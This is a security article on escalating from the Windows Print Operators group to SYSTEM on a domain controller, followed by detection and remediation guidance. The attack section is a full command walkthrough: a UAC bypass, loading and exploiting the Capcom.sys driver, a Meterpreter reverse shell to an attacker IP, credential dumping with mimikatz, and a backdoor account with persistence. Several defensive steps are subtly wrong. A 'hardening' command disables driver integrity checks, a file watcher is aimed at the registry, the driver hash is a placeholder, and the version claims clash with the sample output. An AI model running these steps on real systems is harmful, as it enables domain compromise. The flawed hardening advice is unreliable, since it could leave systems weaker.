Skip to Content
Print Operators privilege escalation attack showing driver loading and SeLoadDriverPrivilege abuse

Print Operators Group Exploitation and Defense

Print Operators privilege escalation on Windows. Abuse SeLoadDriverPrivilege to load a vulnerable driver such as Capcom.sys and run code as SYSTEM, then detect and block it.

Jan 1, 2026
Updated Nov 22, 2026
30 min read

Description

Print Operators is a built-in Active Directory group meant to let members manage printers on domain controllers and print servers without Domain Admin rights. The rights it hands out go well past printers, and an unmanaged membership list is a privilege escalation path.

On a domain controller, members get:

  • SeLoadDriverPrivilege, to load and unload device drivers
  • the right to log on locally to domain controllers
  • SeShutdownPrivilege, to shut the DC down
  • rights to create, share and delete network printers

SeLoadDriverPrivilege is the one that matters. A member can load a kernel driver with a known flaw, such as Capcom.sys, and use it to run code as SYSTEM.

Built-in group with SYSTEM access

Print Operators gets overlooked because it is a built-in group with a harmless-sounding purpose. In practice SeLoadDriverPrivilege on a domain controller gets you SYSTEM on the DC, which is as good as Domain Admin.

Impact

A Print Operators member who reaches SYSTEM on a domain controller controls the domain:

  • The loaded driver gives SYSTEM (NT AUTHORITY\SYSTEM) on the DC.
  • LSASS memory and NTDS.dit become readable, so every domain credential is exposed, including the krbtgt hash needed for Golden Tickets.
  • AD users, groups and other objects can be changed at will.
  • Kernel access lets the attacker install a rootkit or driver-level backdoor and switch off EDR and antivirus.
  • The extracted credentials open up the rest of the domain for lateral movement.

Local logon rights on DCs make this worse: members can sit at the console of the most sensitive servers in the environment.

Technical details

The group is empty by default and lives at CN=Print Operators,CN=Builtin,DC=domain,DC=local.

Check membership and privileges:

# Check Print Operators group members
Get-ADGroupMember -Identity "Print Operators"

# Verify user is member of Print Operators
whoami /groups | findstr "Print Operators"

# List privileges for current user
whoami /priv

Privileges you can expect to see in a high-integrity session for a Print Operators member on a DC. Only the first two come from the group. Microsoft lists its default user rights as local logon, SeLoadDriverPrivilege and SeShutdownPrivilege. The rest are rights that ordinary domain users also hold on a DC:

  • SeLoadDriverPrivilege (load and unload device drivers), the one used for exploitation
  • SeShutdownPrivilege (shut down the system)
  • SeMachineAccountPrivilege (add workstations to the domain)
  • SeChangeNotifyPrivilege (bypass traverse checking)
  • SeIncreaseWorkingSetPrivilege (increase a process working set)

What SeLoadDriverPrivilege allows

SeLoadDriverPrivilege lets a user load and unload device drivers. For an attacker that means getting code into the kernel, at ring 0.

A kernel driver can do anything on the box:

  • read and write arbitrary kernel memory
  • hook system calls and change OS behaviour
  • kill or blind EDR and antivirus
  • run shellcode as SYSTEM

Attack workflow

Step 1: Verify Print Operators membership and privileges

Confirm membership and check whether SeLoadDriverPrivilege shows up:

# Check group membership
whoami /groups

# Expected output:
# BUILTIN\Print Operators          Alias       S-1-5-32-550    Mandatory group, Enabled by default, Enabled group

# Check privileges (from unprivileged context)
whoami /priv

# Expected output (SeLoadDriverPrivilege NOT visible):
# PRIVILEGES INFORMATION
# ----------------------
# Privilege Name                Description                          State
# ============================= ==================================== =======
# SeIncreaseQuotaPrivilege      Adjust memory quotas for a process   Disabled
# SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
# SeShutdownPrivilege           Shut down the system                 Disabled

SeLoadDriverPrivilege does not show up in a medium-integrity session because UAC filters it out of the token. You need a high-integrity session to use it.

Step 2: Bypass UAC

Using SeLoadDriverPrivilege needs a high-integrity token, so bypass UAC first.

With UACMe:

# Download UACMe from https://github.com/hfiref0x/UACME
# UACMe provides 60+ UAC bypass techniques

# Example: Akagi method 33 (DLL hijacking via IFileOperation)
.\Akagi64.exe 33 "C:\Windows\System32\cmd.exe"

# This spawns an elevated command prompt with full privileges

With RDP or console access you can do it through the GUI:

# Right-click Command Prompt or PowerShell
# Select "Run as administrator"
# Provide Print Operators credentials when prompted

# Verify elevated status
whoami /priv

# Expected output (SeLoadDriverPrivilege now visible):
# Privilege Name                Description                          State
# ============================= ==================================== ==========
# SeMachineAccountPrivilege     Add workstations to domain           Disabled
# SeLoadDriverPrivilege         Load and unload device drivers       Disabled
# SeShutdownPrivilege           Shut down the system                 Disabled
# SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
# SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

With the fodhelper bypass:

# Exploit Fodhelper.exe (works on Windows 10/11)
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(Default)" -Value "cmd.exe"
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value ""
Start-Process "C:\Windows\System32\fodhelper.exe"

# Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Step 3: Get the vulnerable driver (Capcom.sys)

Capcom.sys is an anti-cheat driver with an IOCTL that runs caller-supplied code in kernel mode:

# Download Capcom.sys from public exploit repositories
# WARNING: This is a known vulnerable driver - use only in authorized testing
# https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys

# Save to C:\Tools\Capcom.sys
# SHA256: 2e2e93b67e52a8f6126bbf2c5efccdce3f6af0e6b1e9e5c7e4e5a8a8e5e5e5e5

Other drivers with known exploitable flaws:

  • RTCore64.sys (MSI Afterburner)
  • DBUtil_2_3.sys (Dell)
  • AsIO.sys (ASUS)
  • nvflash.sys (NVIDIA)

Step 4: Register the driver in the registry

Create the service entries that the driver load reads:

# Add ImagePath registry key pointing to driver file
reg add "HKCU\System\CurrentControlSet\CAPCOM" /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"

# Output:
# The operation completed successfully.

# Add Type registry key (1 = SERVICE_KERNEL_DRIVER)
reg add "HKCU\System\CurrentControlSet\CAPCOM" /v Type /t REG_DWORD /d 1

# Output:
# The operation completed successfully.

# Verify registry keys
reg query "HKCU\System\CurrentControlSet\CAPCOM"

# Expected output:
# HKEY_CURRENT_USER\System\CurrentControlSet\CAPCOM
#     ImagePath    REG_SZ    \??\C:\Tools\Capcom.sys
#     Type         REG_DWORD    0x1

The \??\ prefix is an NT object path, equivalent to \DosDevices\. It lets the system resolve the driver file path correctly.

Step 5: Enable SeLoadDriverPrivilege and load the driver

EnableSeLoadDriverPrivilege.exe enables the privilege and loads the driver:

// Compile EnableSeLoadDriverPrivilege.cpp
// Source: https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/EnableSeLoadDriverPrivilege.cpp

// Modify includes (if needed):
#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"

// Compile with Visual Studio
// cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
# Execute the compiled tool
.\EnableSeLoadDriverPrivilege.exe

# Expected output:
# whoami:
# INLANEFREIGHT\printsvc
#
# whoami /priv:
# SeMachineAccountPrivilege        Disabled
# SeLoadDriverPrivilege            Enabled
# SeShutdownPrivilege              Disabled
# SeChangeNotifyPrivilege          Enabled by default
# SeIncreaseWorkingSetPrivilege    Disabled
# NTSTATUS: 00000000, WinError: 0

Check that the driver loaded:

# Using DriverView from Nirsoft
.\DriverView.exe /stext drivers.txt
Get-Content drivers.txt | Select-String -Pattern "Capcom"

# Expected output:
# Driver Name           : Capcom.sys
# Filename              : C:\Tools\Capcom.sys
# Driver Description    : Capcom
# Version               : 1.0.0.0
# Product Name          : Capcom
# Company               : Capcom

Or from PowerShell:

# Check loaded drivers using Get-WmiObject
Get-WmiObject Win32_SystemDriver | Where-Object {$_.Name -like "*Capcom*"} | Select-Object Name, PathName, State, Status

Step 6: Exploit the driver for code execution

With the driver loaded, use ExploitCapcom to run code as SYSTEM:

# Compile ExploitCapcom from https://github.com/tandasat/ExploitCapcom
# Or download pre-compiled binary

# Execute exploit
.\ExploitCapcom.exe

# Expected output:
# [*] Capcom.sys exploit
# [*] Capcom.sys handle was obtained as 0000000000000070
# [*] Shellcode was placed at 0000024822A50008
# [+] Shellcode was executed
# [+] Token stealing was successful
# [+] The SYSTEM shell was launched
#
# Microsoft Windows [Version 10.0.17763.1518]
# (c) 2018 Microsoft Corporation. All rights reserved.
#
# C:\Windows\system32> whoami
# nt authority\system

What ExploitCapcom does:

  1. Opens handle to the Capcom.sys driver device
  2. Allocates executable memory in its own user-mode address space and places the shellcode there
  3. Sends the Capcom.sys IOCTL with a pointer to that shellcode
  4. Capcom.sys disables SMEP and calls the user-supplied function pointer from kernel mode
  5. Shellcode performs token stealing
  6. Launches a command prompt with the SYSTEM token

Step 7: Post-exploitation

From SYSTEM, carry on as usual:

# Dump credentials from LSASS
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

# Extract NTDS.dit (if on Domain Controller)
ntdsutil "ac i ntds" "ifm" "create full C:\Temp\IFM" q q

# Create backdoor account
net user backdoor P@ssw0rd123! /add
net localgroup Administrators backdoor /add

# Establish persistence
schtasks /create /tn "SystemUpdate" /tr "C:\Tools\beacon.exe" /sc onstart /ru SYSTEM

Without GUI access

Without a graphical session, edit ExploitCapcom.cpp so it starts a reverse shell instead of cmd.exe:

// Original code (line 292 in ExploitCapcom.cpp):
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
    // ... rest of function
}

// Modified for reverse shell:
static bool LaunchShell()
{
    TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");
    // ... rest of function
}

Generate the payload and start a listener:

# Using msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.50 LPORT=443 -f exe -o revshell.exe

# Set up listener
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.50
set LPORT 443
exploit

Automating with EoPLoadDriver

EoPLoadDriver enables the privilege, writes the registry key and loads the driver in one run:

# Download from https://github.com/TarlogicSecurity/EoPLoadDriver
.\EoPLoadDriver.exe System\CurrentControlSet\Capcom C:\Tools\Capcom.sys

# Expected output:
# [+] Enabling SeLoadDriverPrivilege
# [+] SeLoadDriverPrivilege Enabled
# [+] Loading Driver: \Registry\User\S-1-5-21-xxx-xxx-xxx-xxx\System\CurrentControlSet\Capcom
# NTSTATUS: 00000000, WinError: 0

# Then execute ExploitCapcom
.\ExploitCapcom.exe

Detection

Detection centres on driver loads and on SeLoadDriverPrivilege use by accounts that should not have it.

Event log monitoring

Event ID 4673: sensitive privilege use

Windows logs 4673 when a sensitive privilege is used:

<QueryList>
  <Query Id="0" Path="Security">
    <Select Path="Security">
      *[System[(EventID=4673)]]
      and
      *[EventData[Data[@Name='PrivilegeList']='SeLoadDriverPrivilege']]
    </Select>
  </Query>
</QueryList>

What to look for:

  • an account using SeLoadDriverPrivilege
  • privilege use from non-administrative accounts
  • use at odd times, such as nights and weekends
  • repeated escalation attempts

Event ID 4624: successful logon

Watch for Print Operators members logging on to domain controllers:

# Query logon events for Print Operators members
$PrintOps = Get-ADGroupMember -Identity "Print Operators" | Select-Object -ExpandProperty SamAccountName
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624} |
  Where-Object {$PrintOps -contains $_.Properties[5].Value -and $_.Properties[11].Value -match "DC"} |
  Select-Object TimeCreated, @{N='User';E={$_.Properties[5].Value}}, @{N='Computer';E={$_.Properties[11].Value}}

Event ID 7045: service installed

Event 7045 comes from the Service Control Manager, so it only appears when the driver is installed as a service (sc create ... type= kernel). The HKCU registry path used above goes straight to NtLoadDriver and never touches the SCM, so it produces no 7045. Use the Sysmon driver-load event below for that case:

<QueryList>
  <Query Id="0" Path="System">
    <Select Path="System">
      *[System[(EventID=7045)]]
      and
      *[EventData[Data[@Name='ImagePath'] and (contains(., 'Capcom.sys') or contains(., 'RTCore64.sys'))]]
    </Select>
  </Query>
</QueryList>

Sysmon event ID 6: driver loaded

Sysmon logs each driver load with its hashes and signature status:

<Sysmon schemaversion="4.82">
  <EventFiltering>
    <RuleGroup name="DriverLoad" groupRelation="or">
      <DriverLoad onmatch="include">
        <ImageLoaded condition="contains">Capcom.sys</ImageLoaded>
        <ImageLoaded condition="contains">RTCore64.sys</ImageLoaded>
        <ImageLoaded condition="contains">DBUtil</ImageLoaded>
        <Signed condition="is">false</Signed>
      </DriverLoad>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Query Sysmon logs:

# Find driver load events
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
  Where-Object {$_.Id -eq 6} |
  Select-Object TimeCreated, @{N='Driver';E={$_.Properties[4].Value}}, @{N='Signature';E={$_.Properties[5].Value}}

Registry monitoring

Watch HKCU\System\CurrentControlSet for driver entries:

# Create registry monitor script
$watcher = New-Object System.IO.FileSystemWatcher
$watcher.Path = "HKCU:\System\CurrentControlSet"
$watcher.IncludeSubdirectories = $true
$watcher.EnableRaisingEvents = $true

$action = {
    $details = $event.SourceEventArgs
    Write-Warning "Registry modification detected: $($details.Name) at $($details.TimeGenerated)"
}

Register-ObjectEvent -InputObject $watcher -EventName Changed -Action $action

Keys to watch:

  • HKCU\System\CurrentControlSet* (user-level driver registration)
  • HKLM\System\CurrentControlSet\Services* (system-level services)

Behavioral analytics

  1. Print Operators group changes

    • new members added to the group
    • non-administrator accounts in particular
    • changes outside change management windows
  2. Unusual logon patterns

    • Print Operators members logging on to domain controllers
    • interactive logons (type 2 or 10) to DCs
    • logons outside business hours
  3. Driver load patterns

    • drivers loaded from non-standard paths (C:\Temp, user profiles)
    • unsigned drivers
    • known vulnerable drivers (Capcom.sys, RTCore64.sys and so on)
  4. Escalation sequences

    • a UAC bypass followed by a driver load
    • SeLoadDriverPrivilege use followed by a new SYSTEM process
    • a burst of privileged operations in a short window

SIEM detection rules

Splunk:

# Detect Print Operators exploitation pattern
index=windows (EventCode=4673 OR EventCode=4624 OR EventCode=7045 OR source="*Sysmon*" EventCode=6)
| eval PrivilegeUse=if(EventCode=4673 AND PrivilegeList="SeLoadDriverPrivilege", 1, 0)
| eval PrintOpLogon=if(EventCode=4624 AND (match(TargetUserName, "printsvc|printops")), 1, 0)
| eval DriverLoad=if(EventCode=7045 OR EventCode=6, 1, 0)
| transaction host maxspan=5m
| where PrivilegeUse=1 AND DriverLoad=1
| table _time, host, user, ImagePath, ServiceName

Microsoft Sentinel (KQL):

// Print Operators privilege escalation detection
let PrintOpsMembers = IdentityInfo
| where GroupMembership has "Print Operators"
| distinct AccountName;
SecurityEvent
| where TimeGenerated > ago(1h)
| where EventID in (4673, 4624, 7045)
| where AccountName in (PrintOpsMembers)
| where (EventID == 4673 and PrivilegeList has "SeLoadDriverPrivilege")
       or (EventID == 4624 and LogonType in (2, 10))
       or (EventID == 7045 and ServiceFileName has_any ("Capcom", "RTCore", "DBUtil"))
| summarize Events=make_set(EventID), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by Computer, AccountName
| where array_length(Events) >= 2
| project FirstSeen, LastSeen, Computer, AccountName, Events

Remediation

Get the attacker out of the group first, then hunt for what they left behind.

Immediate response

Step 1: Identify Print Operators members

# List all Print Operators members
Get-ADGroupMember -Identity "Print Operators" | Select-Object Name, SamAccountName, objectClass

# Review recent group membership changes
Get-ADGroup -Identity "Print Operators" -Properties * |
  Select-Object Name, whenCreated, whenChanged, ManagedBy

# Check group membership history (requires auditing enabled)
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4728} |
  Where-Object {$_.Message -like "*Print Operators*"} |
  Select-Object TimeCreated, Message

Step 2: Remove unauthorized members

# Remove suspicious members from Print Operators group
Remove-ADGroupMember -Identity "Print Operators" -Members "suspicious_user" -Confirm:$true

# Disable compromised accounts
Disable-ADAccount -Identity "suspicious_user"

# Reset account password
Set-ADAccountPassword -Identity "suspicious_user" -NewPassword (ConvertTo-SecureString "NewP@ssw0rd123!" -AsPlainText -Force) -Reset

Step 3: Hunt for loaded vulnerable drivers

# Scan for known vulnerable drivers
$VulnDrivers = @("Capcom.sys", "RTCore64.sys", "DBUtil_2_3.sys", "AsIO.sys", "nvflash.sys")

# Check loaded drivers
Get-WmiObject Win32_SystemDriver | Where-Object {$VulnDrivers -contains $_.Name} |
  Select-Object Name, PathName, State, StartMode

# Unload vulnerable driver
sc stop Capcom
sc delete Capcom

# Remove driver file
Remove-Item -Path "C:\Tools\Capcom.sys" -Force

Step 4: Search for persistence

# Check for scheduled tasks created during compromise
Get-ScheduledTask | Where-Object {$_.Principal.UserId -like "*printsvc*" -or $_.Date -gt (Get-Date).AddDays(-7)} |
  Select-Object TaskName, TaskPath, Principal, Date

# Review services
Get-WmiObject Win32_Service | Where-Object {$_.StartName -like "*printsvc*"} |
  Select-Object Name, PathName, StartMode, State

# Check startup programs
Get-CimInstance -ClassName Win32_StartupCommand |
  Select-Object Name, Command, Location, User

# Review registry Run keys
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

Step 5: Audit recent privileged activity

# Review recent SYSTEM-level process creation
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4688} |
  Where-Object {$_.Properties[11].Value -eq "S-1-5-18"} |  # SYSTEM SID
  Select-Object TimeCreated, @{N='Process';E={$_.Properties[5].Value}}, @{N='Parent';E={$_.Properties[13].Value}}

# Check for credential dumping
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4656} |
  Where-Object {$_.Message -like "*lsass.exe*"} |
  Select-Object TimeCreated, Message

Long-term mitigation

1. Restrict Print Operators membership

# Audit Print Operators necessity
# If not needed, keep the group empty

# If required, document legitimate members
$LegitimateMembers = @("printadmin1", "printadmin2")
Get-ADGroupMember -Identity "Print Operators" |
  Where-Object {$_.SamAccountName -notin $LegitimateMembers} |
  ForEach-Object {Remove-ADGroupMember -Identity "Print Operators" -Members $_ -Confirm:$true}

# Implement quarterly review process
# Create alert for any group membership changes

2. Enforce driver signatures

# Enable Driver Signature Enforcement via Group Policy
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "System settings: Use Certificate Rules on Windows Executables for Software Restriction Policies" = Enabled

# Verify current configuration
bcdedit /enum {current} | findstr /i "nointegritychecks"

# If present, remove it:
bcdedit /deletevalue {current} nointegritychecks

# Enable strict driver signing (requires reboot)
bcdedit /set {current} testsigning off

3. Deploy Windows Defender Application Control (WDAC)

# Create WDAC policy blocking known vulnerable drivers
$policy = New-CIPolicy -Level FilePublisher -FilePath "C:\WDAC\BasePolicy.xml" -UserPEs

# Add driver blocklist
$vulnDrivers = @(
    "Capcom.sys",
    "RTCore64.sys",
    "DBUtil_2_3.sys"
)

foreach ($driver in $vulnDrivers) {
    Add-CIPolicyRule -FilePath "C:\WDAC\BasePolicy.xml" -Deny -DriverFiles -SpecificFileNameLevel FileName -FilePublisher $driver
}

# Convert to binary format
ConvertFrom-CIPolicy -XmlFilePath "C:\WDAC\BasePolicy.xml" -BinaryFilePath "C:\Windows\System32\CodeIntegrity\SiPolicy.p7b"

# Deploy via Group Policy
# Computer Configuration > Administrative Templates > System > Device Guard
# "Deploy Windows Defender Application Control" = Enabled

4. Restrict local logon to domain controllers

# Remove Print Operators from local logon rights on DCs
# Group Policy: Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment
# "Allow log on locally" = Remove "Print Operators"
# "Deny log on locally" = Add "Print Operators" (if not needed)

# Verify configuration
secedit /export /cfg C:\Temp\secpol.cfg
Get-Content C:\Temp\secpol.cfg | Select-String "SeInteractiveLogonRight"

5. Audit privilege use

# Enable detailed privilege use auditing
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
auditpol /set /subcategory:"Special Logon" /success:enable /failure:enable

# Configure advanced audit policy via GPO
# Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration
# "Audit Sensitive Privilege Use" = Success and Failure
# "Audit Special Logon" = Success and Failure

6. Deploy the vulnerable driver blocklist

Microsoft maintains a recommended driver block list:

# Download Microsoft vulnerable driver blocklist
# https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules

# Apply via WDAC or Group Policy

# Verify blocklist is active
Get-CimInstance -Namespace root\Microsoft\Windows\CI -ClassName PS_CiPolicy |
  Select-Object PolicyID, FriendlyName, IsSystemPolicy, PolicyVersion

Prevention

# Implement automated compliance checking
Function Test-PrintOperatorsCompliance {
    param (
        [string[]]$AuthorizedMembers = @()
    )

    $currentMembers = Get-ADGroupMember -Identity "Print Operators" |
      Select-Object -ExpandProperty SamAccountName

    $unauthorizedMembers = $currentMembers | Where-Object {$_ -notin $AuthorizedMembers}

    if ($unauthorizedMembers) {
        Write-Warning "Unauthorized Print Operators members detected:"
        $unauthorizedMembers | ForEach-Object {Write-Warning "  - $_"}

        # Send alert
        Send-MailMessage -To "security@corp.com" -Subject "Print Operators Group Violation" -Body "Unauthorized members: $($unauthorizedMembers -join ', ')"

        return $false
    }

    Write-Host "Print Operators group compliance verified." -ForegroundColor Green
    return $true
}

# Schedule daily checks
$trigger = New-JobTrigger -Daily -At 8am
Register-ScheduledJob -Name "PrintOpsCompliance" -Trigger $trigger -ScriptBlock ${Function:Test-PrintOperatorsCompliance} -ArgumentList @(@("authorized_user1"))

Policy for the group:

  • Keep it empty unless there is a real need.
  • Record every membership change with a business reason.
  • Put membership changes behind an approval workflow.
  • Review membership every quarter.

Driver security controls

# Layer 1: Driver Signature Enforcement
bcdedit /set {current} testsigning off
bcdedit /set {current} loadoptions DISABLE_INTEGRITY_CHECKS

# Layer 2: Deploy Vulnerable Driver Blocklist
# Use Microsoft recommended driver block rules via WDAC

# Layer 3: Monitor driver loading
# Deploy Sysmon with driver load monitoring

# Layer 4: Application Whitelisting
# Only allow approved drivers to load

# Create baseline of legitimate drivers
Get-WmiObject Win32_SystemDriver |
  Select-Object Name, PathName, Caption, Description, DisplayName |
  Export-Csv -Path "C:\Baseline\LegitimateDrivers.csv" -NoTypeInformation

# Compare against baseline daily
Function Test-DriverBaseline {
    $baseline = Import-Csv -Path "C:\Baseline\LegitimateDrivers.csv"
    $current = Get-WmiObject Win32_SystemDriver | Select-Object Name, PathName

    $newDrivers = Compare-Object -ReferenceObject $baseline -DifferenceObject $current -Property Name |
      Where-Object {$_.SideIndicator -eq "=>"}

    if ($newDrivers) {
        Write-Warning "New drivers detected:"
        $newDrivers | ForEach-Object {Write-Warning "  - $($_.Name)"}
    }
}

Privileged access management

Use just-in-time (JIT) access instead of standing membership:

# Create time-limited Print Operators membership
Function Grant-TemporaryPrintOpsAccess {
    param(
        [string]$Username,
        [int]$DurationHours = 4,
        [string]$Justification
    )

    # Add to Print Operators
    Add-ADGroupMember -Identity "Print Operators" -Members $Username

    # Log the access grant
    $logEntry = @{
        Timestamp = Get-Date
        User = $Username
        Duration = $DurationHours
        Justification = $Justification
        GrantedBy = $env:USERNAME
    }
    $logEntry | Export-Csv -Path "C:\Logs\PrintOpsAccess.csv" -Append -NoTypeInformation

    # Schedule automatic removal
    $removalTime = (Get-Date).AddHours($DurationHours)
    $trigger = New-JobTrigger -Once -At $removalTime
    Register-ScheduledJob -Name "RemovePrintOps_$Username" -Trigger $trigger -ScriptBlock {
        param($user)
        Remove-ADGroupMember -Identity "Print Operators" -Members $user -Confirm:$false
    } -ArgumentList $Username

    Write-Host "Granted Print Operators access to $Username until $removalTime" -ForegroundColor Yellow
}

# Usage:
# Grant-TemporaryPrintOpsAccess -Username "john.doe" -DurationHours 4 -Justification "Printer driver installation - Ticket #12345"

Continuous monitoring

# Consolidated monitoring script
Function Start-PrintOpsMonitoring {
    while ($true) {
        # Monitor group membership changes
        $members = Get-ADGroupMember -Identity "Print Operators"
        if ($members.Count -gt 0) {
            Write-Warning "Print Operators has $($members.Count) members!"
        }

        # Monitor SeLoadDriverPrivilege usage
        $privEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4673;StartTime=(Get-Date).AddMinutes(-5)} |
          Where-Object {$_.Message -like "*SeLoadDriverPrivilege*"}

        if ($privEvents) {
            Write-Warning "SeLoadDriverPrivilege usage detected:"
            $privEvents | ForEach-Object {
                Write-Warning "  Time: $($_.TimeCreated), User: $($_.Properties[1].Value)"
            }
        }

        # Monitor driver loads
        $driverEvents = Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[(EventID=6)]]" -MaxEvents 10 -ErrorAction SilentlyContinue

        if ($driverEvents) {
            $vulnDrivers = @("Capcom", "RTCore", "DBUtil")
            foreach ($event in $driverEvents) {
                $driverName = $event.Properties[4].Value
                foreach ($vuln in $vulnDrivers) {
                    if ($driverName -like "*$vuln*") {
                        Write-Error "VULNERABLE DRIVER DETECTED: $driverName"
                    }
                }
            }
        }

        Start-Sleep -Seconds 60
    }
}

# Run in background
Start-Job -ScriptBlock ${Function:Start-PrintOpsMonitoring} -Name "PrintOpsMonitor"

Verification

Validate the configuration

Check Print Operators group status

# Verify group is empty or has only authorized members
Get-ADGroupMember -Identity "Print Operators" | Select-Object Name, SamAccountName

# Expected: Empty or documented authorized members only

Verify driver signature enforcement

# Check driver signing configuration
bcdedit /enum {current} | findstr /i "testsigning nointegritychecks"

# Expected: No output (both disabled)

# Verify WDAC policy is active
Get-CimInstance -Namespace root\Microsoft\Windows\CI -ClassName PS_CiPolicy |
  Where-Object {$_.IsSystemPolicy -eq $true}

# Expected: At least one active policy

Test driver load detection

Only in an authorized test:

# Attempt to load test driver (in isolated environment)
# This should be BLOCKED by WDAC and trigger alerts

# Verify Sysmon is logging driver loads
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[(EventID=6)]]" -MaxEvents 5

# Verify alerts are generated in SIEM

Check privilege use logging

# Verify privilege use auditing is enabled
auditpol /get /subcategory:"Sensitive Privilege Use"

# Expected output:
# Sensitive Privilege Use    Success and Failure

# Test privilege logging by using SeDebugPrivilege
# Should generate Event ID 4673

Advanced considerations

Windows versions and limits

Version limit

Since Windows 10 version 1803 (April 2018 Update), drivers can no longer be loaded from registry keys under HKEY_CURRENT_USER. The service key has to be under HKEY_LOCAL_MACHINE, which needs administrator rights, so this technique does not work on current builds.

Affected versions:

  • Windows Server 2016 and earlier (vulnerable)
  • Windows 10 versions prior to 1803 (vulnerable)
  • Windows Server 2019+ (patched)
  • Windows 10 1803+ and Windows 11 (patched)

Other privilege escalation paths

If this path is patched or blocked, look at the other built-in groups:

  • Server Operators, with similar rights plus control over services
  • Backup Operators, whose SeBackupPrivilege lets you copy NTDS.dit
  • Account Operators, who can manage users and groups
  • DnsAdmins, who can make the DNS service load a DLL

Where the group exists

Print Operators is specific to Windows Active Directory. It does not exist in:

  • Azure AD-only environments
  • Linux/Unix systems
  • Standalone workgroups

References

MITRE ATT&CK techniques

CWE

Microsoft documentation

Other resources

Tools

Next steps

If an assessment turns up Print Operators members:

  • Audit the group and remove accounts that do not need it.
  • Turn on driver signature enforcement and deploy Microsoft's vulnerable driver blocklist.
  • Use WDAC policies to block known vulnerable drivers.
  • Remove local logon rights on domain controllers for Print Operators.
  • Review related Windows privilege escalation techniques:

On this page